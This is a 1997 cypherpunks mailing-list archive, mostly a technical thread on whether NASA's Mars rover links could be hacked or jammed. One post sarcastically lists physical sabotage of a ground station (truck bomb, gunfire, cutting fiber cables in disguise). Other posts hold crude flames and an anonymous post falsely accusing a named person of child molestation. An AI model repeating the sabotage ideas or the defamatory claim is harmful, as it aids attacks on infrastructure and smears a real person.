>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
>         http://www.freenet.edmonton.ab.ca/~real/index.html
>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
>-- end of forwarded message --
>
>

- -> Send "subscribe   snetnews " to majordomo at world.std.com
- ->  Posted by: Leander 


------- End of Forwarded Message






From die at pig.die.com  Sun Jul  6 15:06:09 1997
From: die at pig.die.com (Dave Emery)
Date: Mon, 7 Jul 1997 06:06:09 +0800
Subject: Hack the Mars rover (fwd)
In-Reply-To: <199707061611.LAA18434@einstein.ssz.com>
Message-ID: <199707062151.RAA25276@pig.die.com>



Jim Choate wrote :

> Forwarded message:
> 
> > Date: Sun, 6 Jul 1997 06:43:06 -0400 (edt)
> > From: Ryan Anderson 
> > Subject: Re: Hack the Mars rover
> 
> 
> The place to attack is the up-link. This requires physical access (ie a van
> with a dish and xmtr.) as well as a means to crack the encryption on the
> control channels. At least one French satellite has been cracked and
> de-orbited via a network attack.
> 
> > Besides, how much encryption is needed between two points if intercepting
> > the traffic is expensive, the communications protocol is undocumented (as
> > far as anyone outside NASA is concerned), and the actual frequency is also
> > hard to find? 
> 
> The communications are not only documented but easily observable with the
> correct commercialy available equipment. The frequencies are a matter of
> public record, I would further bet that 5 minutes with a search engine would
> bring that data to light...

	Two very imprtant points.   The space path loss to and from Mars
is very large.  So a very large dish is required to have sufficient G/T
to see readable data.  Most NASA deep space stations use 85 foot dishes
and some also have 300 footers.   Without that kind of antenna gain one
is not going to see anything at all, and without that kind of gain on
the command uplink as well as a multi KW high power microwave amplifier
to feed the dish one is not going to be able to put enough signal into
Mars to do anything.

	There are essentially no 85 foot or larger dishes in the hands
of anyone who might be attempting to hack a NASA spacecraft.   Such an
antenna is simply not your back yard satellite dish....  they cost more
than a million dollars and are major construction projects.

	The second point is that the NSA has been supplying space
hardened crypto chips and related ground equipment to every US satellite
manufacturer and operator for at least the last 15 years for use in
protecting the command uplinks against unauthorized access.   One can be
quite sure that NASA has used these, or if they haven't has good reason
to believe they don't have to.

	The attack that is barely conceivable is for some cracker to
break into a NASA terrestrial communications link associated with the
Deep Space Network (some links use satellite communications for example
and others microwave links) and access the command uplink systems of a
NASA DSN site.  Whether they have fully secured all of these against
such attack is unclear.  Obviously good old secret key encryption would
work here, and there certainly is a lot of command validation done at
the uplink before the command is sent, so whoever was doing this would
have to have great in-depth knowlage of the command uplink system and
the spacecraft itself.

	And finally, demodulating the downlinks and recovering
information from them is relatively easily accomplished once the hard
part  (obtaining the G/T required) is somehow handled.  NASA tends to
use very straightforward modulations and FEC and does not encrypt the
downlinks.   And a fair amount of detail about the data formats is
publicly available.

							Dave Emery
							die at die.com
							Weston, Mass.







From wombat at mcfeely.bsfs.org  Sun Jul  6 16:15:54 1997
From: wombat at mcfeely.bsfs.org (Rabid Wombat)
Date: Mon, 7 Jul 1997 07:15:54 +0800
Subject: Mack the Harrs over (fwd)
In-Reply-To: <199707061424.JAA18262@einstein.ssz.com>
Message-ID: 




On Sun, 6 Jul 1997, Jim Choate wrote:

> Forwarded message:
> 
> > Subject: Re: Mack the Harrs over
> > Date: Sun, 06 Jul 1997 13:43:42 +0200
> > From: Zooko Journeyman 
> 
> > > Besides, how much encryption is needed between two points if intercepting
> > > the traffic is expensive, the communications protocol is undocumented (as
> > > far as anyone outside NASA is concerned), and the actual frequency is also
> > > hard to find? 
> > 
> > Not to mention that the communication protocol is apparently 
> > broken and drops most of the data.  :-P 
> 
> 
> Really? You try sending data over 10 light-seconds using nothing but the
> equivalent of your Mag-Lite flashlight and then pick it up AND successfuly
> decode the data using nothing more than spare cycles in the DSN reception
> network.
> 
> I suspect you are seriously underestimating the amount of noise betwix here
> and there...
> 

I suspect you'd need a dish the size of your house to pick up the signal.

-r.w.






From azur at netcom.com  Sun Jul  6 17:41:22 1997
From: azur at netcom.com (Steve Schear)
Date: Mon, 7 Jul 1997 08:41:22 +0800
Subject: Hack the Mars rover (fwd)
In-Reply-To: <199707061611.LAA18434@einstein.ssz.com>
Message-ID: 



>	Two very imprtant points.   The space path loss to and from Mars
>is very large.  So a very large dish is required to have sufficient G/T
>to see readable data.  Most NASA deep space stations use 85 foot dishes
>and some also have 300 footers.   Without that kind of antenna gain one
>is not going to see anything at all, and without that kind of gain on
>the command uplink as well as a multi KW high power microwave amplifier
>to feed the dish one is not going to be able to put enough signal into
>Mars to do anything.
>
>	There are essentially no 85 foot or larger dishes in the hands
>of anyone who might be attempting to hack a NASA spacecraft.   Such an
>antenna is simply not your back yard satellite dish....  they cost more
>than a million dollars and are major construction projects.

You're right, its beyond imagination that any amateur would have the
resources at their disposal to override NASA's uplink (unless ther's
another Capt'n Midnight lurking at a commercial uplink station ;-).

>
>	The second point is that the NSA has been supplying space
>hardened crypto chips and related ground equipment to every US satellite
>manufacturer and operator for at least the last 15 years for use in
>protecting the command uplinks against unauthorized access.   One can be
>quite sure that NASA has used these, or if they haven't has good reason
>to believe they don't have to.
>
>	The attack that is barely conceivable is for some cracker to
>break into a NASA terrestrial communications link associated with the
>Deep Space Network (some links use satellite communications for example
>and others microwave links) and access the command uplink systems of a
>NASA DSN site.  Whether they have fully secured all of these against
>such attack is unclear.  Obviously good old secret key encryption would
>work here, and there certainly is a lot of command validation done at
>the uplink before the command is sent, so whoever was doing this would
>have to have great in-depth knowlage of the command uplink system and
>the spacecraft itself.

Rather than trying to seize control of lander just do a DOS hack by keeping
the ground stations from hearing the lander signal.  You said yourself that
the path loss to Mars is very large (maybe around 200 dB), this means that
even with those huge antennas their link margins can't be too high.

I'll assume that in order to improve the margins they're using spread
spectrum techniques, trading bandwidth for spectral efficiency.  Without
getting into the specifics of jamming technology, unless they have a very
large process gain (like the 63 dB claimed for GPS), which is very unlikely
for a number of reasons, that a properly designed transmitter located near
their downlink stations would spill into the passband of their very
senstive receivers (probably liquid-He cooled LNAs) making receiption
difficult to impossible.  Of course, such transmitters would be relatively
easy to find so only intermittent operation might be practical.
>
>	And finally, demodulating the downlinks and recovering
>information from them is relatively easily accomplished once the hard
>part  (obtaining the G/T required) is somehow handled.  NASA tends to
>use very straightforward modulations and FEC and does not encrypt the
>downlinks.   And a fair amount of detail about the data formats is
>publicly available.

If the data formats and coding techniques are public and well documented
the task is simplified many fold.

--Steve

PGP encrypted mail PREFERRED (See MIT/BAL servers for my PK)
PGP Fingerprint: FE 90 1A 95 9D EA 8D 61  81 2E CC A9 A4 4A FB A9
---------------------------------------------------------------------
Steve Schear (N7ZEZ)     | Internet: azur at netcom.com
7075 West Gowan Road     | Voice: 1-702-658-2654
Suite 2148               | Fax: 1-702-658-2673
Las Vegas, NV 89129      |
---------------------------------------------------------------------

        God grant me the serenity to accept the things I cannot change;
        The courage to change the things I can;
        The weapons that make the difference;
        And the wisdom to hide the bodies of the people that got in my way;-)

        "Surveilence is ultimately just another form of media, and thus,
        potential entertainment."
        --G. Beato

       "We've all heard that a million monkeys banging on a million
        typewriters will eventually reproduce the entire works of
        Shakespeare. Now, thanks to the Internet, we know this is
        not true."                           -- Dr. Robert Silensky







From bennett_t1 at popmail.firn.edu  Sun Jul  6 19:52:37 1997
From: bennett_t1 at popmail.firn.edu (bennett_t1 at popmail.firn.edu)
Date: Mon, 7 Jul 1997 10:52:37 +0800
Subject: can i join
In-Reply-To: <970706155513_847343667@emout10.mail.aol.com>
Message-ID: <33C0645F.C0C2ED32@popmail.firn.edu>



Drifter0 at aol.com wrote:

> thanx

   ...  Oh, Jesus, another stupid AOLer.  Well, let me go through the
proper procedures.

Time for the flame-form.
-----------------------------
Dear:
  [X] Clueless Newbie        [X] Lamer         [  ] Flamer
  [  ] "Me too" er            [  ] Pervert       [X] Geek
  [  ] Spammer                [  ] Racist        [  ] Fed
  [X] Stereotypical AOLer    [  ] Freak         [  ] Troller
  [  ] Fundamentalist         [  ] Satanist      [  ] Scientologist

 You Are Being Flamed Because:
  [  ] You posted what should have been emailed
  [  ] You obviously don't know how to read your newsgroups line
  [  ] You are trying to make money on a non-commercial newsgroup
  [  ] You self-rightously impose your religious beliefs on others
  [  ] You posted something asking for warez sites
  [  ] You quoted an ENTIRE post in your reply
  [  ] You started a long, stupid thread
  [  ] You continued spreading a long stupid thread
  [  ] Your post is absurdly off topic for where you posted it
  [  ] You posted a followup to crossposted robot-generated spam
  [  ] You posted a "test" in a discussion group rather than in alt.test

  [  ] You posted a "YOU ALL SUCK" message
  [X] You posted low-IQ flamebait
  [  ] You posted a blatently obvious troll
  [  ] You posted a listserver command
  [  ] You followed up to a blatently obvious troll
  [  ] You posted pretending to be someone famous
  [  ] You said "me too" to something
  [  ] You make no sense
  [  ] Your sig/alias/server is dreadful
  [  ] You posted a phone-sex ad
  [  ] You posted a stupid pyramid money making scheme
  [  ] You claimed a pyramid-scheme/chain letter for money was legal
  [  ] Your margin settings (or lack of) make your post unreadable
  [  ] You posted in ElItE CaPiTaLs to look K3WL
  [  ] You posted SCREAMING in RANDOM CAPS for NO APPARENT REASON
  [X] You didn't do anything specific, but appear to be so generally
       worthless that you are being flamed anyway

 To Repent, You Must:

  [  ] Refrain from posting until you have a vague idea what
you're        doing
  [X] Stop masturbating for a week
  [X] Be Senator Exon's love slave
  [  ] Read every newsgroup you posted to for a week
  [X] Give up your AOL account
  [X] Bust up your modem with a hammer and eat it
  [  ] Tell your Mommy to up your medication
  [X] Jump into a bathtub while holding your monitor
  [  ] Actually post something relevant
  [X] Make a homepage shrine for the goddess Hello Kitty
  [X] Read the FAQ
  [  ] Post to alt.test
  [  ] Print your home phone number in your ads
  [X] Be the guest of honor in alt.flame for a month


 In Closing, I'd Like to Say:

  [X] Get a clue
  [X] Get a life
  [X] Go away
  [  ] Age 10 more years before you post again
  [X] Never post again
  [X] I pity your dog
  [  ] You need to seek psychiatric help
  [  ] Morons like you give ammo to pro-censorship geeks
  [X] Yer momma's so fat/stupid/ugly that etc...
  [X] Take your gibberish somewhere else
  [X] Learn how to post or get off the usenet and listserv
  [  ] All of the above






From die at pig.die.com  Sun Jul  6 20:24:52 1997
From: die at pig.die.com (Dave Emery)
Date: Mon, 7 Jul 1997 11:24:52 +0800
Subject: Hack the Mars rover (fwd)
In-Reply-To: 
Message-ID: <199707070257.WAA26483@pig.die.com>




Steve Schear wrote :

> You're right, its beyond imagination that any amateur would have the
> resources at their disposal to override NASA's uplink (unless ther's
> another Capt'n Midnight lurking at a commercial uplink station ;-).

	Different frequency bands.  And much less power for a commercial
uplink to illuminate a geo satellite with significant antenna gain
toward it's footprint.   Commercial uplinks are usually in the 20 to
500 watt power class going into the feed, whereas the DSN has 5 and
10 kw capability into much larger dishes (30 meter versus 6 to 9 meter).

> 
> Rather than trying to seize control of lander just do a DOS hack by keeping
> the ground stations from hearing the lander signal.  You said yourself that
> the path loss to Mars is very large (maybe around 200 dB), this means that
> even with those huge antennas their link margins can't be too high.

	Greater than 200 db.  But indeed one could certainly come up
with enough rf power from some point on the ground in line of sight to a
DSN dish to  completely overwhelm the signal from the bird.   

	However, such a signal would be instantly spotted and identified
and probably DF'd fairly rapidly.  It would be unlikely one could knock
out the downlink for very long without being located (and vigorously
prosecuted).

	But most of the time Mars is visible from more than one DSN
earth station and given the high priority of the mission the most
likely thing would just be to switch stations to one a third of
the way around the globe or more.   Would obviously be a nuisance
and get some people very mad, but since the ground stations fail
from natural causes from time to time such a handover would be
fairly routine.

> 
> I'll assume that in order to improve the margins they're using spread
> spectrum techniques, trading bandwidth for spectral efficiency.

	Spectral efficiency is usually bits/hertz of bandwidth.  They do
use QPSK or BPSK (mostly QPSK) which is about as power efficient - 
using FEC, vitirbi soft decision detection  and non differential coding
- as any possible modulation would be irrespective of bandwidth.
That is to say for a given data rate and carrier power to noise temp
ratio there is no modulation that would yield a better BER irrespective
of bandwith used.


  Without
> getting into the specifics of jamming technology, unless they have a very
> large process gain (like the 63 dB claimed for GPS)

	Process gain is a measure of the ratio of the spreading sequence
bit rate to the underlying data bit rate for a direct sequence spread
spectrum signal. There is very little to be gained by using spread
signals rather than  non spread signals in this application except
perhaps very accurate ranging information. They do not make sending k
bits per second with BER less than e bits second any easier.   There has
been some use of spreading sequences for ranging in the DSN, but I do
not know whether the pathfinder mission used that mode.

	Obviously a spread signal would require lots more power to 
jam with noise or cw carriers, but even assuming side lobes -80db down
from the main lobe (really hard to do) a jammer working from nearby would
not need to be putting out a lot of power to overload the receiver
and correllators.

, which is very unlikely
> for a number of reasons, that a properly designed transmitter located near
> their downlink stations would spill into the passband of their very
> senstive receivers (probably liquid-He cooled LNAs) making receiption
> difficult to impossible.  Of course, such transmitters would be relatively
> easy to find so only intermittent operation might be practical.
> >
	And would be spotted almost instantly on spectrum analyzers and
other monitors.


> >	And finally, demodulating the downlinks and recovering
> >information from them is relatively easily accomplished once the hard
> >part  (obtaining the G/T required) is somehow handled.  NASA tends to
> >use very straightforward modulations and FEC and does not encrypt the
> >downlinks.   And a fair amount of detail about the data formats is
> >publicly available.
> 
> If the data formats and coding techniques are public and well documented
> the task is simplified many fold.
> 
	Yes it is, although making educated guesses and going from there
is certainly possible.

							Dave Emery
							die at die.com
							Weston, Mass.






From die at pig.die.com  Sun Jul  6 21:44:09 1997
From: die at pig.die.com (Dave Emery)
Date: Mon, 7 Jul 1997 12:44:09 +0800
Subject: NOISE jamming...
In-Reply-To: 
Message-ID: <199707070424.AAA26863@pig.die.com>



Steve Schear wrote :
> 
> A single jammer is an easy target but multiple coordinated jammers are a
> different story.  My group did some work at TRW on this.  Suffice it to say
> that just a few well coordinted jammers can make DFing even with satellite
> systems very, very, hard.

	There is quite a bit of emitter location technology around,
including much designed to work from airborne platforms that would
likely be deployed as soon as possible.   Seen from the air coordinated
jammers would  likely be widely separted spacially even if they weren't
as seen from the DSN antenna.  And an airborne platform can get very
much closer to one emitter (where its signal predominates) than others
making separating its energy from the rest much easier.

	But yes, a very sophisticated jamming effort sync'd up with GPS
timing and using multiple sites would be something that undoubtably
would knock out a station for a while as countermeasures to such an
attack are not part of operational plans for civilian science research
ground sites.   But many of those sites have several dishes of various
sizes with feeds at the downlink frequency and a dish with 50 or 60 db
of gain and tenth of a degree beamwidth would do fairly well at
isolating a single jammer azimuth and elevation by searching for and
pointing right at it. Perhaps it even would be possible to use two
dishes separted by enough distance to trianglulate.

> 
> >
> >	But most of the time Mars is visible from more than one DSN
> >earth station and given the high priority of the mission the most
> >likely thing would just be to switch stations to one a third of
> >the way around the globe or more.   Would obviously be a nuisance
> >and get some people very mad, but since the ground stations fail
> >from natural causes from time to time such a handover would be
> >fairly routine.
> 
> Which means you'd need to jam all the stations as they came into view.
> Certainly not the work of a lone hacker.

	Hell if you are dead set at disrupting more or less pure
science (mixed with a bit of budget sales pitch) why not rent a
Rider truck loaded with ANFO ? or a HERF device ?  or simply
start shooting at the antenna with a heavy gauge machine gun ?

	Or to be subtler and more stealthy, cut the fiber optic telco
cables connecting the site with the NASA network using nothing more than
a ordinary shovel and a bolt cutter in some out of the way spot.  Many
cable routes are well marked... and you could dress up as the gas
company or water and sewer department and nobody would think twice about
seeing you dig a hole by the side of the road.

> 
> Yep, I just thought they might employ FH to avoid the odd noise blips from
> terrestrial sources (even with reservation of the bands), although SS
> usually   increases front-end bandwidth and lowers sensitivity,
> selectivity, etc.  With link margins already low it probably doen't pay.
> 
	Hopping no,  But they have sometimes used direct sequence spreading
because it supplies a very accurate high resolution ranging yardstick
(as in the case of GPS which works exactly that way).

> >> >
> >	And would be spotted almost instantly on spectrum analyzers and
> >other monitors.
> 
> They'd certainly see the signal, but as I said above a coordinated attack
> from several transmitters can be exceedingly difficult to find, even by
> national technical means.

	Again, there are lots of flying (not orbiting) platforms with
various antennas and DF receivers that can do this sort of thing.
And they can fly any pattern that might be useful and look for interesting
visual, passive IR, and side looking radar observable objects on the ground.
Obtaining a rough (degree or so) direction on the jammers would be 
fairly easy using standard EMI horn and dish antennas or the automated
equivalent on military ELINT vehicles unless the jammers were using
very many sites closely spaced together and phase and frequency 
coherent signals from all the sites.   And certainly sweeping the horizon
with a big dish would likely yield significant location information
simply becuase of the very narrow beam width of the dish's main lobe.

	


							Dave Emery
							die at die.com
							Weston, Mass.






From tcmay at got.net  Mon Jul  7 00:33:18 1997
From: tcmay at got.net (Tim May)
Date: Mon, 7 Jul 1997 15:33:18 +0800
Subject: Forged Posts
In-Reply-To: <33BAF064.B56@got.net>
Message-ID: 



The Canadian whacko who goes by "Toto," "TruthMonger," "Xenix Chainsaw
Massacre Author," "Colonel C.J. Parker" (or somesuch) is apparently at it
again.

While I was out of town, he arranged to have this message sent:

At 5:20 PM -0700 7/2/97, Tim May wrote:
>BigNuts wrote:
>> > On Tue, 1 Jul 1997, Tim May wrote:
>> >
>> > > Technology liberates the bits.
>>
>>   Tim gave excellent information on how one can go about using
>> technology to enjoy the fruits of other people's labour without
>> contributing toward the survival of those producing the things
>> he enjoys.
>
>  Anything that isn't nailed down, is mine.
>  Anything that I can pry loose, isn't nailed down.
...etc....


The full headers of this message reveal:

Received: from wombat.sk.sympatico.ca (wombat.sk.sympatico.ca
[142.165.5.136]) by toad.com (8.7.5/8.7.3) with ESMTP id RAA10470 for
; Wed, 2 Jul 1997 17:21:56 -0700 (PDT)



--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From tcmay at got.net  Mon Jul  7 00:33:45 1997
From: tcmay at got.net (Tim May)
Date: Mon, 7 Jul 1997 15:33:45 +0800
Subject: Liberating the Bits
In-Reply-To: <33BAF064.B56@got.net>
Message-ID: 



At 5:59 PM -0700 7/2/97, Mac Norton wrote:
>On Wed, 2 Jul 1997, Tim May wrote:
>
>>   Hey! I got mine and I'm keeping it!
>>   Just because a bunch of gullible people believed my company's claim
>> that we owned the results of our creative ideas doesn't mean that I
>> have to be a sucker, too.
>>
>
>If you're willing to admit you got yours under false pretenses,
>the rest of us would like to have it back. Now.
>


Let it be known I did not write any of the material above attributed to me.

(I'm just catching up on some of the accumulated e-mail of the past several
days, and am looking at random messages that catch my interest. Perhaps I
am missing some context, but I am quoted in the "Tim May wrote:" line, and
yet none of that quoted section includes anything I wrote.)

--Tim May


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From jazzmin at ou.edu  Mon Jul  7 01:11:58 1997
From: jazzmin at ou.edu (Jazzmin Belle Sommers)
Date: Mon, 7 Jul 1997 16:11:58 +0800
Subject: No Subject
Message-ID: <33c0a3573d20006@hermes.services.ou.edu>



I know some of you are into goth and stuff, and since this list almost never
talks about things related to cypherpunkery I thought I'd pop in something
vaguely relevant.

31 Oct in OKC there's a masquerade ball/costume contest/art show/etc for
those interested in the RPG "Kindred".  Email if interested, otherwise ignore.

anyone know of a good goth site to link a web page to?  (It's not up yet.)


Thx,

jazzmin sommers



"Work is the curse of the drinking classes."
        Oscar Wilde






From bogus@does.not.exist.com  Mon Jul  7 18:16:17 1997
From: bogus@does.not.exist.com ()
Date: Mon, 7 Jul 1997 18:16:17 -0700 (PDT)
Subject: I Lost 4 lbs. in 4 Days...Without Dieting!!!
Message-ID: <393859c@GM49g8r.com>


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From nobody at REPLAY.COM  Mon Jul  7 04:06:10 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Mon, 7 Jul 1997 19:06:10 +0800
Subject: [STEGO] RSA
Message-ID: <199707071052.MAA11508@basement.replay.com>



Given Tim C. May's propensity to molest little children, is it any
surprise that the state of California wants to have him castrated?

  o       o
/<         >\ Tim C. May
\\\_______///
//         \\






From Michael.Johnson at mejl.com  Mon Jul  7 05:25:02 1997
From: Michael.Johnson at mejl.com (Mike)
Date: Mon, 7 Jul 1997 20:25:02 +0800
Subject: Dr. Dobbs Cryptography and Security CD-ROM
Message-ID: <3.0.2.32.19970707141240.00967c00@localhost>



Bill Frantz wrote:
>Excuse me.  Certain parts of that CDROM are already available overseas.
>If they are not posted to the net how does that prevent them from being
>available overseas?

You mean that it would be fine for foreigners to copy and sell the CD, but
not to put it on the net? Well, copyright law being what it is, makes this
a bit tricky. An ftp administrator have never been sentenced for copyright
violation (please correct me if I'm wrong), but CD copiers are thrown in jail
all the time. The distinction that the courts make is that of profit.

Sure, they can buy the book, but the electronic version is obviously more
useful to some people, or there wouldn't be any market for it.

I know foreigners who would like to put a copy of Applied Cryptography in
their PalmPilots, to carry around for reference. They can't do that legaly,
and that makes crypto less accessible.

Mike.






From dlv at bwalk.dm.com  Mon Jul  7 06:30:52 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Mon, 7 Jul 1997 21:30:52 +0800
Subject: Liberating the Bits
In-Reply-To: 
Message-ID: <3P3g0D6w165w@bwalk.dm.com>



Tim May  writes:
> Let it be known I did not write any of the material above attributed to me.

And we're supposed to believe you?

I pity a man who has no sense of humor - like Timmy.

> (I'm just catching up on some of the accumulated e-mail of the past several
> days, and am looking at random messages that catch my interest. Perhaps I
> am missing some context, but I am quoted in the "Tim May wrote:" line, and
> yet none of that quoted section includes anything I wrote.)

Can you prove that you didn't write it?

What about the call to assassinate the president posted under your
name to the alt.cypherpunks newsgroup?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From dlv at bwalk.dm.com  Mon Jul  7 06:30:54 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Mon, 7 Jul 1997 21:30:54 +0800
Subject: Dr. Dobbs Cryptography and Security CD-ROM
In-Reply-To: <3.0.2.32.19970707141240.00967c00@localhost>
Message-ID: 



Mike  writes:
> You mean that it would be fine for foreigners to copy and sell the CD, but
> not to put it on the net? Well, copyright law being what it is, makes this
> a bit tricky. An ftp administrator have never been sentenced for copyright
> violation (please correct me if I'm wrong),

An MIT student named Lamachhia(sp?) reportedly operated a warez FTP archive.
He got arrested and charged with something irrelevant (wire fraud??).

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From raph at CS.Berkeley.EDU  Mon Jul  7 07:04:59 1997
From: raph at CS.Berkeley.EDU (Raph Levien)
Date: Mon, 7 Jul 1997 22:04:59 +0800
Subject: List of reliable remailers
Message-ID: <199707071350.GAA10738@kiwi.cs.berkeley.edu>



   I operate a remailer pinging service which collects detailed
information about remailer features and reliability.

   To use it, just finger remailer-list at kiwi.cs.berkeley.edu

   There is also a Web version of the same information, plus lots of
interesting links to remailer-related resources, at:
http://www.cs.berkeley.edu/~raph/remailer-list.html

   This information is used by premail, a remailer chaining and PGP
encrypting client for outgoing mail. For more information, see:
http://www.c2.org/~raph/premail.html

   For the PGP public keys of the remailers, finger
pgpkeys at kiwi.cs.berkeley.edu

This is the current info:

                                 REMAILER LIST

   This is an automatically generated listing of remailers. The first
   part of the listing shows the remailers along with configuration
   options and special features for each of the remailers. The second
   part shows the 12-day history, and average latency and uptime for each
   remailer. You can also get this list by fingering
   remailer-list at kiwi.cs.berkeley.edu.

$remailer{"extropia"} = " cpunk pgp special";
$remailer{"mix"} = " cpunk mix pgp hash latent cut ek ksub reord ?";
$remailer{"replay"} = " cpunk mix pgp hash latent cut post ek";
$remailer{"exon"} = " cpunk pgp hash latent cut ek";
$remailer{"haystack"} = " cpunk mix pgp hash latent cut ek";
$remailer{"lucifer"} = " cpunk mix pgp hash latent cut ek";
$remailer{"jam"} = " cpunk mix pgp hash middle latent cut ek";
$remailer{"winsock"} = " cpunk pgp pgponly hash cut ksub reord";
$remailer{'nym'} = ' newnym pgp';
$remailer{"balls"} = " cpunk pgp hash latent cut ek";
$remailer{"squirrel"} = " cpunk mix pgp pgponly hash latent cut ek";
$remailer{"middle"} = " cpunk mix pgp hash latent cut ek reord";
$remailer{'cyber'} = ' alpha pgp';
$remailer{'weasel'} = ' newnym pgp';
$remailer{"reno"} = " cpunk mix pgp hash middle latent cut ek reord ?";
$remailer{"wazoo"} = " cpunk mix pgp hash latent cut ek";
$remailer{"shaman"} = " cpunk pgp hash latent cut ek";
$remailer{"hidden"} = " cpunk pgp hash latent cut";
catalyst at netcom.com is _not_ a remailer.
lmccarth at ducie.cs.umass.edu is _not_ a remailer.
usura at replay.com is _not_ a remailer.
remailer at crynwr.com is _not_ a remailer.

There is no remailer at relay.com.

Groups of remailers sharing a machine or operator:
(cyber mix)
(weasel squirrel)

The alpha and nymrod nymservers are down due to abuse. However, you
can use the nym or weasel (newnym style) nymservers.

The cyber nymserver is quite reliable for outgoing mail (which is
what's measured here), but is exhibiting serious reliability problems
for incoming mail.

The squirrel and winsock remailers accept PGP encrypted mail only.

403 Permission denied errors have been caused by a flaky disk on the
Berkeley WWW server. This seems to be fixed now.

The penet remailer is closed.

Last update: Mon 7 Jul 97 6:47:50 PDT
remailer  email address                        history  latency  uptime
-----------------------------------------------------------------------
jam      remailer at cypherpunks.ca          +**+*****++*    12:58  99.95%
weasel   config at weasel.owl.de             +++-+---+++   1:43:42  99.91%
mix      mixmaster at remail.obscura.com     .-*...-..-.- 10:13:59  99.80%
replay   remailer at replay.com              +**+**- ****     4:56  99.79%
winsock  winsock at rigel.cyberpass.net      - -.-------   5:53:17  99.58%
squirrel mix at squirrel.owl.de              +++-+  -+++   1:42:06  99.46%
cyber    alias at alias.cyberpass.net         **+* +++***    13:35  99.43%
nym      config at nym.alias.net             +##+##++#*##     2:48  99.36%
reno     middleman at cyberpass.net          --+.--* -***  1:39:45  99.31%
hidden   remailer at hidden.net                            4:44:03  -0.56%

   History key
     * # response in less than 5 minutes.
     * * response in less than 1 hour.
     * + response in less than 4 hours.
     * - response in less than 24 hours.
     * . response in more than 1 day.
     * _ response came back too late (more than 2 days).

   cpunk
          A major class of remailers. Supports Request-Remailing-To:
          field.
          
   eric
          A variant of the cpunk style. Uses Anon-Send-To: instead.
          
   penet
          The third class of remailers (at least for right now). Uses
          X-Anon-To: in the header.
          
   pgp
          Remailer supports encryption with PGP. A period after the
          keyword means that the short name, rather than the full email
          address, should be used as the encryption key ID.
          
   hash
          Supports ## pasting, so anything can be put into the headers of
          outgoing messages.
          
   ksub
          Remailer always kills subject header, even in non-pgp mode.
          
   nsub
          Remailer always preserves subject header, even in pgp mode.
          
   latent
          Supports Matt Ghio's Latent-Time: option.
          
   cut
          Supports Matt Ghio's Cutmarks: option.
          
   post
          Post to Usenet using Post-To: or Anon-Post-To: header.
          
   ek
          Encrypt responses in reply blocks using Encrypt-Key: header.
          
   special
          Accepts only pgp encrypted messages.
          
   mix
          Can accept messages in Mixmaster format.
          
   reord
          Attempts to foil traffic analysis by reordering messages. Note:
          I'm relying on the word of the remailer operator here, and
          haven't verified the reord info myself.

   mon
          Remailer has been known to monitor contents of private email.
          
   filter
          Remailer has been known to filter messages based on content. If
          not listed in conjunction with mon, then only messages destined
          for public forums are subject to filtering.
          

Raph Levien






From trei at process.com  Mon Jul  7 08:00:48 1997
From: trei at process.com (Peter Trei)
Date: Mon, 7 Jul 1997 23:00:48 +0800
Subject: Jim Bell 6
Message-ID: <199707071443.HAA23473@toad.com>



John Young  writes:
       
> On June 26 the court handling Jim's case extended
> the time from June 30 to July 11 for the USA to file an 
> indictment.
> 
> This is from an on-line docket of the case via 
> Public Access to Court Electronic Records (PACER)
> a subcription service for federal courts.
> 
> No indication that Jim has been released, jailed since 
> his arrest on May 16. No reason given for repeated
> waiver of right to a speedy trial.
> 
> The docket's at:
> 
>    http://jya.com/jimbell-dock.htm

Thanks for keeping us up to date. Jim always seemed to
me to be a loony, but I never (and still don't) think
he's capable of the things the warrent alleges him to
have been planning.

Peter Trei
DISCLAIMER: The above is my opinion, no one else's.

 






From real at freenet.edmonton.ab.ca  Mon Jul  7 08:06:30 1997
From: real at freenet.edmonton.ab.ca (Graham-John Bullers)
Date: Mon, 7 Jul 1997 23:06:30 +0800
Subject: [STEGO] RSA
In-Reply-To: <199707071052.MAA11508@basement.replay.com>
Message-ID: 



On Mon, 7 Jul 1997, Anonymous wrote:

I think Vulis needs each of us to send ten copies of this back to him.

> Given Tim C. May's propensity to molest little children, is it any
> surprise that the state of California wants to have him castrated?
> 
>   o       o
> /<         >\ Tim C. May
> \\\_______///
> //         \\
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email :  : 
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~






